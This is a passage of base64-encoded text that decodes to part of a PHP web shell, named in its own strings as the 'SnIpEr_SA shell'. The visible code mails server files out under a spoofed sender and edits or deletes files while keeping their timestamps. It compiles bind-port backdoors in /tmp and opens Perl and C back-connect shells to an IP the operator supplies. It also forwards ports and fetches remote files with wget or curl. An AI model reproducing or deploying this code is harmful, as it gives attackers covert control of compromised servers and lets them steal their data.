gzKS4kZGlyOw0KZWNobyB3cygzKS4nKCAnLnBlcm1zKEBmaWxlcGVybXMoJGRpcikpLicgKSc7DQplY2hv ICI8YnI+IjsNCmVjaG8gd3MoMykuIjxiPllvdXIgaXA6IDxhIGhyZWY9aHR0cDovLyIuJF9TRVJWRVJbIl JFTU9URV9BRERSIl0uIj4iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI8L2E+IC0gU2VydmVyIGlwOiA8 YSBocmVmPWh0dHA6Ly8iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPiIuZ2V0aG 9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiI8L2E+PC9iPjxici8+IjsNCmVjaG8gIjwvYj48 L2ZvbnQ+IjsNCn0NCmVsc2UNCnsNCmVjaG8gJzxmb250IGNvbG9yPWJsdWU+PGI+T1MgOicud3MoMSkuJz xicj5TZXJ2ZXIgOicud3MoMSkuJzxicj5Vc2VyIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8YnI+ aXAgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7DQplY2hvICI8L3RkPjx0ZD4iOw0KZWNobyAiPGZvbn QgZmFjZT10YWhvbWEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cihAcGhw X3VuYW1lKCksMCwxMjApLiI8YnI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLD AsMTIwKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBnZXRlbnYoIlVTRVJOQU1FIikuIjxicj4iOw0KZWNobyB3 cygzKS4kZGlyOw0KZWNobyAiPGJyPiI7DQplY2hvIHdzKDMpLiI8Yj5Zb3VyIGlwOiA8YSBocmVmPWh0dH A6Ly8iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI+Ii4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPC9h PiAtIFNlcnZlciBpcDogPGEgaHJlZj1odHRwOi8vIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0 hPU1QiXSkuIj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9hPjwvYj48YnIv PiI7DQplY2hvICI8YnI+PC9mb250PiI7DQp9DQplY2hvICI8L2ZvbnQ+IjsNCmVjaG8gIjwvdGQ+PC90cj 48L3RhYmxlPiI7DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWwi KQ0KIHsNCiAkcmVzID0gbWFpbCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydzdWJqJ10sJF9QT1NUWyd0ZXh0J1 0sIkZyb206ICIuJF9QT1NUWydmcm9tJ10uIlxyXG4iKTsNCiBlcnIoNiskcmVzKTsNCiAkX1BPU1RbJ2Nt ZCddPSIiOw0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ibWFpbF 9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydsb2NfZmlsZSddKSkNCiB7DQogaWYoISRmaWxlPUBmb3Blbigk X1BPU1RbJ2xvY19maWxlJ10sInIiKSkgeyBlcnIoMSwkX1BPU1RbJ2xvY19maWxlJ10pOyAkX1BPU1RbJ2 NtZCddPSIiOyB9DQogZWxzZQ0KICB7DQogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnbG9j X2ZpbGUnXSk7DQogICAgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2xvY1 9maWxlJ10pKTsNCiAgICBmY2xvc2UoJGZpbGUpOw0KICAgICRjb250ZW50X2VuY29kaW5nPSRtaW1lX3R5 cGU9Jyc7DQogICAgY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOw 0KICAgICRhdHRhY2ggPSBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgIm5hbWUiPT4kZmlsZW5hbWUs DQogICAgICAgICAgICAgICAgICAgICJ0eXBlIj0+JG1pbWVfdHlwZSwNCiAgICAgICAgICAgICAgICAgIC AgImNvbnRlbnQiPT4kZmlsZWR1bXANCiAgICAgICAgICAgICAgICAgICApOw0KICAgIGlmKGVtcHR5KCRf UE9TVFsnc3ViaiddKSkgeyAkX1BPU1RbJ3N1YmonXSA9ICdmaWxlIGZyb20gU25JcEVyX1NBIHNoZWxsJz sgfQ0KICAgIGlmKGVtcHR5KCRfUE9TVFsnZnJvbSddKSkgeyAkX1BPU1RbJ2Zyb20nXSA9ICdiaWxseUBt aWNyb3NvZnQuY29tJzsgfQ0KICAgICRyZXMgPSBtYWlsYXR0YWNoKCRfUE9TVFsndG8nXSwkX1BPU1RbJ2 Zyb20nXSwkX1BPU1RbJ3N1YmonXSwkYXR0YWNoKTsNCiAgICBlcnIoNiskcmVzKTsNCiAgICAkX1BPU1Rb J2NtZCddPSIiOw0KICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ1 0gPT0gImZpbmRfdGV4dCIpDQp7DQokX1BPU1RbJ2NtZCddID0gJ2ZpbmQgJy4kX1BPU1RbJ3NfZGlyJ10u JyAtbmFtZSBcJycuJF9QT1NUWydzX21hc2snXS4nXCcgfCB4YXJncyBncmVwIC1FIFwnJy4kX1BPU1RbJ3 NfdGV4dCddLidcJyc7DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09 ImNoXyIpDQogew0KIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkNCiAgIHsNCiAgIGNhc2UgJ293bic6DQogIC BAY2hvd24oJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTsNCiAgIGJyZWFrOw0KICAgY2Fz ZSAnZ3JwJzoNCiAgIEBjaGdycCgkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10pOw0KICAgYn JlYWs7DQogICBjYXNlICdtb2QnOg0KICAgQGNobW9kKCRfUE9TVFsncGFyYW0xJ10saW50dmFsKCRfUE9T VFsncGFyYW0yJ10sIDgpKTsNCiAgIGJyZWFrOw0KICAgfQ0KICRfUE9TVFsnY21kJ109IiI7DQogfQ0KaW
YoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpDQogew0KICAgc3dpdGNo KCRfUE9TVFsnd2hhdCddKQ0KICAgew0KICAgICBjYXNlICdmaWxlJzoNCiAgICAgIGlmKCRfUE9TVFsnYW N0aW9uJ10gPT0gImNyZWF0ZSIpDQogICAgICAgew0KICAgICAgIGlmKGZpbGVfZXhpc3RzKCRfUE9TVFsn bWtfbmFtZSddKSB8fCAhJGZpbGU9QGZvcGVuKCRfUE9TVFsnbWtfbmFtZSddLCJ3IikpIHsgZXJyKDIsJF 9QT1NUWydta19uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogICAgICAgZWxzZSB7DQogICAgICAg IGZjbG9zZSgkZmlsZSk7DQogICAgICAgICRfUE9TVFsnZV9uYW1lJ10gPSAkX1BPU1RbJ21rX25hbWUnXT sNCiAgICAgICAgJF9QT1NUWydjbWQnXT0iZWRpdF9maWxlIjsNCiAgICAgICAgZWNobyAiPHRhYmxlIHdp ZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9I2NjY2NjYz48dHI+PHRkIG JnY29sb3I9IzAwMDAwMD48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxi PiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdG FibGU+IjsNCiAgICAgICAgfQ0KICAgICAgIH0NCiAgICAgICBlbHNlIGlmKCRfUE9TVFsnYWN0aW9 uJ10gPT0gImRlbGV0ZSIpDQogICAgICAgew0KICAgICAgIGlmKHVubGluaygkX1BPU1RbJ21rX25hbWUnX SkpIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9 yPSNjY2NjY2M+PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwMDA+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZ T10YWhvbWEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MyddLiI8L2I+PC9mb250Pjw vZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgJF9QT1NUWydjbWQnXT0iIjsNCiAgICAgICB9D QogICAgIGJyZWFrOw0KICAgICBjYXNlICdkaXInOg0KICAgICAgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSA iY3JlYXRlIil7DQogICAgICBpZihta2RpcigkX1BPU1RbJ21rX25hbWUnXSkpDQogICAgICAgew0KICAgI CAgICAgJF9QT1NUWydjbWQnXT0iIjsNCiAgICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGx wYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSNjY2NjY2M+PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwM DA+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5 ndWFnZS4nX3RleHQ2MiddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgI CAgfQ0KICAgICAgZWxzZSB7IGVycigyLCRfUE9TVFsnbWtfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjs gfQ0KICAgICAgfQ0KICAgICAgZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKXsNCiAgI CAgIGlmKHJtZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHB hZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9I2NjY2NjYz48dHI+PHRkIGJnY29sb3I9IzAwMDAwM D48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd 1YWdlLidfdGV4dDY0J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgI CRfUE9TVFsnY21kJ109IiI7DQogICAgICB9DQogICAgIGJyZWFrOw0KICAgfQ0KIH0NCmlmKCFlbXB0eSg kX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZWRpdF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUW ydlX25hbWUnXSkpDQogew0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwicisiKSkgeyA kb25seV9yZWFkID0gMTsgQGZjbG9zZSgkZmlsZSk7IH0NCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZ V9uYW1lJ10sInIiKSkgeyBlcnIoMSwkX1BPU1RbJ2VfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0 KIGVsc2Ugew0KIGVjaG8gJHRhYmxlX3VwMzsNCiBlY2hvICRmb250Ow0KIGVjaG8gIjxmb3JtIG5hbWU9c 2F2ZV9maWxlIG1ldGhvZD1wb3N0PiI7DQogZWNobyB3cygzKS4iPGI+Ii4kX1BPU1RbJ2VfbmFtZSddLiI 8L2I+IjsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48dGV4dGFyZWEgbmFtZT1lX3RleHQgY29scz0xM jEgcm93cz0yND4iOw0KIGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSg kX1BPU1RbJ2VfbmFtZSddKSkpOw0KIGZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90ZXh0YXJlYT4iOw0KI GVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWVfbmFtZSB2YWx1ZT0iLiRfUE9TVFsnZV9uYW1lJ10 uIj4iOw0KIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRpciB2YWx1ZT0iLiRkaXIuIj4iOw0KI GVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNtZCB2YWx1ZT1zYXZlX2ZpbGU+IjsNCiBlY2hvICg hZW1wdHkoJG9ubHlfcmVhZCk/KCI8YnI+PGJyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ0J10pOigiP GJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCIgIi4kbGFuZ1skbGFuZ3V hZ2UuJ19idXR0MTAnXS4iIFwiPiIpKTsNCiBlY2hvICI8L2Rpdj4iOw0KIGVjaG8gIjwvZm9udD4iOw0KI GVjaG8gIjwvZm9ybT4iOw0KIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogZXhpdCgpOw0KIH0NCiB 9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09InNhdmVfZmlsZSIpDQoge w0KICRtdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydlX25hbWUnXSk7DQogaWYoISRmaWxlPUBmb3Blbig kX1BPU1RbJ2VfbmFtZSddLCJ3IikpIHsgZXJyKDAsJF9QT1NUWydlX25hbWUnXSk7IH0NCiBlbHNlIHsNC iBpZigkdW5peCkgJF9QT1NUWydlX3RleHQnXT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWyd lX3RleHQnXSk7DQogQGZ3cml0ZSgkZmlsZSwkX1BPU1RbJ2VfdGV4dCddKTsNCiBAdG91Y2goJF9QT1NUW ydlX25hbWUnXSwkbXRpbWUsJG10aW1lKTsNCiAkX1BPU1RbJ2NtZCddPSIiOw0KIGVjaG8gIjx0YWJsZSB 3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSNjY2NjY2M+PHRyPjx0Z CBiZ2NvbG9yPSMwMDAwMDA+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj4 8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NSddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L 3RhYmxlPiI7DQogfQ0KIH0NCg0KDQoNCmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9 QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1wL2JkLmMiL CRwb3J0X2JpbmRfYmRfYyk7DQogJGJsYWggPSBleCgiZ2NjIC1vIC90bXAvYmQgL3RtcC9iZC5jIik7DQo gQHVubGluaygiL3RtcC9iZC5jIik7DQogJGJsYWggPSBleCgiL3RtcC9iZCAiLiRfUE9TVFsncG9ydCddL
iIgIi4kX1BPU1RbJ2JpbmRfcGFzcyddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmV wIGJkIjsNCiRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgdHJ5IGNvbm5lY3QgdG8gbmMgLXZ2ICIuZ2V0a G9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiIgcG9ydCAiLiRfUE9TVFsncG9ydCddLiIgLi4 uXCIiOw0KDQp9DQppZiAoIWVtcHR5KCRfUE9TVFsncG9ydDEnXSkpDQp7DQogY2YoImJkcyIsJHBvcnRfY mluZF9iZF9jcyk7DQogJGJsYWggPSBleCgiY2htb2QgNzc3IGJkcyIpOw0KICRibGFoID0gZXgoIi4vYmR zICIuJF9QT1NUWydwb3J0MSddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgc2NyaXB0I Gluc3RhbGwgYmFja2Rvb3IgY29ubmVjdCB0byBwb3J0ICI7DQogIH1lbHNlew0KY2YoIi90bXAvYmRzIiw kcG9ydF9iaW5kX2JkX2NzKTsNCiAkYmxhaCA9IGV4KCJjaG1vZCA3NzcgYmRzIik7DQogJGJsYWggPSBle CgiLi90bXAvYmRzICIuJF9QT1NUWydwb3J0MSddLiIgJiIpOw0KIH0NCmlmICghZW1wdHkoJF9QT1NUWyd waHBfaW5pMSddKSkNCnsNCiBjZigicGhwLmluaSIsJHBocF9pbmkxKTsNCiAgJF9QT1NUWydjbWQnXT0iI OHH7d7H3SDH4dPt3SDj5s8gcGhwLmluaSDK4yDS0dog4+HdIjsNCiB9DQoNCiBpZiAoIWVtcHR5KCRfUE9 TVFsnaHRhY2NlcyddKSkNCnsNCiBjZigiLmh0YWNjZXNzIiwkaHRhY2Nlcyk7DQogICRfUE9TVFsnY21kJ 109IuHF7d7H3SDH4ePmzyDT3+3m0crtIGh0YWNjZXNzIMrjINLR2iDj4d0iOw0KIH0NCiAgaWYgKCFlbXB 0eSgkX1BPU1RbJ2ZpbGVfaW5pJ10pKQ0Kew0KIGNmKCJpbmkucGhwIiwkc25pX3Jlcyk7DQoNCiAgJF9QT 1NUWydjbWQnXT0iIGh0dHA6Ly90YXJnZXQuY29tL2luaS5waHA/c3M9aHR0cDovL3NoZWxsLnR4dD8g38f hysfh7SBzcyDIx+Hjytvt0SBpbmkucGhwIMfhw+Qg3uMgyNrj4SDH5N/h5s8g4ePh3SI7DQogfQ0KDQppZ igoJF9QT1NUWydmaWxldG8nXSAhPSAiIil8fCgkX1BPU1RbJ2ZpbGVmcm9tJ10gIT0gIiIpKQ0KDQp7DQo kZGF0YSA9IGltcGxvZGUoIiIsIGZpbGUoJF9QT1NUWydmaWxlZnJvbSddKSk7DQokZnAgPSBmb3BlbigkX 1BPU1RbJ2ZpbGV0byddLCAid2IiKTsNCmZwdXRzKCRmcCwgJGRhdGEpOw0KJG9rID0gZmNsb3NlKCRmcCk 7DQppZigkb2spDQp7DQokc2l6ZSA9IGZpbGVzaXplKCRfUE9TVFsnZmlsZXRvJ10pLzEwMjQ7DQokc2l6Z WYgPSBzcHJpbnRmKCIlLjJmIiwgJHNpemUpOw0KcHJpbnQgIjxjZW50ZXI+PGRpdiBpZD1sb2dvc3RyaXA +RG93bmxvYWQgLSBPSy4NCigiLiRzaXplZi4i6j8pPC9kaXY+PC9jZW50ZXI+IjsNCn0NCmVsc2UNCnsNC nByaW50ICI8Y2VudGVyPjxkaXYgaWQ9bG9nb3N0cmlwPlNvbWV0aGluZyBpcyB3cm9uZy4gRG93bmxvYWQ gLSBJUyBOT1QNCk9LPC9kaXY+PC9jZW50ZXI+IjsNCn0NCn0NCmlmICghZW1wdHkoJF9QT1NUWydwb3J0J 10pJiYhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0 KIGNmKCIvdG1wL2JkcGwiLCRwb3J0X2JpbmRfYmRfcGwpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRib GFoID0gZXgoJHAyLiIgL3RtcC9iZHBsICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQ nXT0icHMgLWF1eCB8IGdyZXAgYmRwbCI7DQogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyB0cnkgY29ub mVjdCB0byBuYyAtdnYgIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiBwb3J0ICI uJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgIWVtc HR5KCRfUE9TVFsncG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCiBjZigiL3RtcC9 iYWNrIiwkYmFja19jb25uZWN0KTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxhaCA9IGV4KCRwMi4iI C90bXAvYmFjayAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQogJF9QT1NUWyd jbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lwJ10uIiBwb3J0I CIuJF9QT1NUWydwb3J0J10uIiAuLi5EYXRhY2hlZFwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcHM nXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydHMnXSkpDQp7DQogY2YoIi90bXAvYmFja3MiLCRiYWNrX2Nvb m5lY3RzKTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvYmFja3MgIi4 kX1BPU1RbJ2lwcyddLiIgIi4kX1BPU1RbJ3BvcnRzJ10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0iZWNob yBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lwcyddLiIgcG9ydCAiLiRfUE9TVFs ncG9ydHMnXS4iIC4uLlwiIjsNCg0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFlbXB0eSgkX 1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpDQp7DQogY2YoIi90bXAvYmFjay5jIiw kYmFja19jb25uZWN0X2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2JhY2tjIC90bXAvYmFjay5jI ik7DQogQHVubGluaygiL3RtcC9iYWNrLmMiKTsNCiAkYmxhaCA9IGV4KCIvdG1wL2JhY2tjICIuJF9QT1N UWydpcCddLiIgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93I HNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4 iIC4uLlwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydsb2NhbF9wb3J0J10pICYmICFlbXB0eSgkX1BPU 1RbJ3JlbW90ZV9ob3N0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9wb3J0J10pICYmICgkX1BPU1R bJ3VzZSddPT0iUGVybCIpKQ0Kew0KIGNmKCIvdG1wL2RwIiwkZGF0YXBpcGVfcGwpOw0KICRwMj13aGlja CgicGVybCIpOw0KICRibGFoID0gZXgoJHAyLiIgL3RtcC9kcCAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiI gIi4kX1BPU1RbJ3JlbW90ZV9ob3N0J10uIiAiLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4iICYiKTsNCiAkX 1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWx fcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZ W1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9kcGMuYyIsJGR hdGFwaXBlX2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2RwYyAvdG1wL2RwYy5jIik7DQogQHVub GluaygiL3RtcC9kcGMuYyIpOw0KICRibGFoID0gZXgoIi90bXAvZHBjICIuJF9QT1NUWydsb2NhbF9wb3J 0J10uIiAiLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfaG9zdCddLiIgJiIpO w0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGRwYyI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFs nYWxpYXMnXSkgJiYgaXNzZXQoJGFsaWFzZXNbJF9QT1NUWydhbGlhcyddXSkpIHsgJF9QT1NUWydjbWQnX
SA9ICRhbGlhc2VzWyRfUE9TVFsnYWxpYXMnXV07IH0NCmlmICghZW1wdHkoJEhUVFBfUE9TVF9GSUxFU1s ndXNlcmZpbGUnXVsnbmFtZSddKSkNCnsNCmlmKCFlbXB0eSgkX1BPU1RbJ25ld19uYW1lJ10pKSB7ICRuZ m4gPSAkX1BPU1RbJ25ld19uYW1lJ107IH0NCmVsc2UgeyAkbmZuID0gJEhUVFBfUE9TVF9GSUxFU1sndXN lcmZpbGUnXVsnbmFtZSddOyB9DQpAY29weSgkSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfb mFtZSddLA0KICAgICAgICAgICAgJF9QT1NUWydkaXInXS4iLyIuJG5mbikNCiAgICAgIG9yIHByaW50KCI 8Zm9udCBjb2xvcj1yZWQgZmFjZT1GaXhlZHN5cz48ZGl2IGFsaWduPWNlbnRlcj5FcnJvciB1cGxvYWRpb mcgZmlsZSAiLiRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXS4iPC9kaXY+PC9mb250PiI pOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3dpdGgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtX2ZpbGUnX SkgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpDQp7DQogc3dpdGNoKCRfUE9TVFsnd2l0aCddKQ0 KIHsNCiBjYXNlIHdnZXQ6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCd3Z2V0JykuIiAiLiRfUE9TVFsnc mVtX2ZpbGUnXS4iIC1PICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgZmV0Y2g 6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdmZXRjaCcpLiIgLW8gIi4kX1BPU1RbJ2xvY19maWxlJ10uI iAtcCAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGx5bng6DQogJF9QT1NUWyd jbWQnXSA9IHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfU E9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGxpbmtzOg0KICRfUE9TVFsnY21kJ10gPSB 3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb 2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgR0VUOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaC gnR0VUJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQog YnJlYWs7DQogY2FzZSBjdXJsOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnY3VybCcpLiIgIi4kX1BPU1 RbJ3JlbV9maWxlJ10uIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiB9DQp9DQpp ZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV91cCIgfHwgJF 9QT1NUWydjbWQnXT09ImZ0cF9maWxlX2Rvd24iKSkNCiB7DQogbGlzdCgkZnRwX3NlcnZlciwkZnRwX3Bv cnQpID0gc3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOw0KIGlmKGVtcHR5KCRmdHBfcG 9ydCkpIHsgJGZ0cF9wb3J0ID0gMjE7IH0NCiAkY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCAoJGZ0cF9z ZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiBpZighJGNvbm5lY3Rpb24pIHsgZXJyKDMpOyB9DQogZWxzZQ0KIC B7DQogIGlmKCFAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2xvZ2luJ10sJF9QT1NUWydm dHBfcGFzc3dvcmQnXSkpIHsgZXJyKDQpOyB9DQogIGVsc2UNCiAgIHsNCiAgIGlmKCRfUE9TVFsnY21kJ1 09PSJmdHBfZmlsZV9kb3duIikgeyBpZihjaG9wKCRfUE9TVFsnbG9jX2ZpbGUnXSk9PSRkaXIpIHsgJF9Q T1NUWydsb2NfZmlsZSddPSRkaXIuKCghJHVuaXgpPygnXFwnKTooJy8nKSkuYmFzZW5hbWUoJF9QT1NUWy dmdHBfZmlsZSddKTsgfSBAZnRwX2dldCgkY29ubmVjdGlvbiwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NU WydmdHBfZmlsZSddLCRfUE9TVFsnbW9kZSddKTsgICAgICAgIH0NCiAgIGlmKCRfUE9TVFsnY21kJ109PS JmdHBfZmlsZV91cCIpICAgeyBAZnRwX3B1dCgkY29ubmVjdGlvbiwkX1BPU1RbJ2Z0cF9maWxlJ10sJF9Q 